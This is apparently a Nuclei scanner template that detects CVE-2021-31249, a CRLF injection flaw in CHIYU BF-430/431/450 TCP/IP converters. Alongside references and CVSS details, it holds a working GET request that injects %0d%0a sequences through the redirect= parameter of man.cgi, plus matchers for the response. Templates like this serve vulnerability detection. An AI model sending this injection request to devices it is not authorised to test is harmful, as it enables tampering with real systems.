id: CVE-2021-31249 info: name: CHIYU TCP/IP Converter - Carriage Return Line Feed Injection author: geeknik severity: medium description: CHIYU TCP/IP Converter BF-430, BF-431, and BF-450 are susceptible to carriage return line feed injection. The redirect= parameter, available on multiple CGI components, is not properly validated, thus enabling an attacker to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. remediation: | Apply the latest security patches or updates provided by the vendor to fix the vulnerability. reference: - https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31249 - https://www.chiyu-tech.com/msg/message-Firmware-update-87.html - https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks/ - https://nvd.nist.gov/vuln/detail/CVE-2021-31249 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N cvss-score: 6.5 cve-id: CVE-2021-31249 cwe-id: CWE-74 epss-score: 0.00331 epss-percentile: 0.67908 cpe: cpe:2.3:o:chiyu-tech:bf-430_firmware:-:*:*:*:*:*:*:* metadata: max-request: 1 vendor: chiyu-tech product: bf-430_firmware tags: cve,cve2021,chiyu,crlf,iot http: - method: GET path: - "{{BaseURL}}/man.cgi?redirect=setting.htm%0d%0a%0d%0a&failure=fail.htm&type=dev_name_apply&http_block=0&TF_ip0=192&TF_ip1=168&TF_ip2=200&TF_ip3=200&TF_port=&TF_port=&B_mac_apply=APPLY" matchers-condition: and matchers: - type: word part: header words: - "Location: setting.htm" - "" condition: and - type: status status: - 302 # digest: 4a0a004730450220137a2e75a19b2b5039526b207932081c987e4759ca3d486fdbbcc1db1f8fc7a4022100b9318dcf7c5cb3d777ba7ba55e010827c4e246ad162009393249a7d6b36b8944:922c64590222798bb761d5b6d8e72950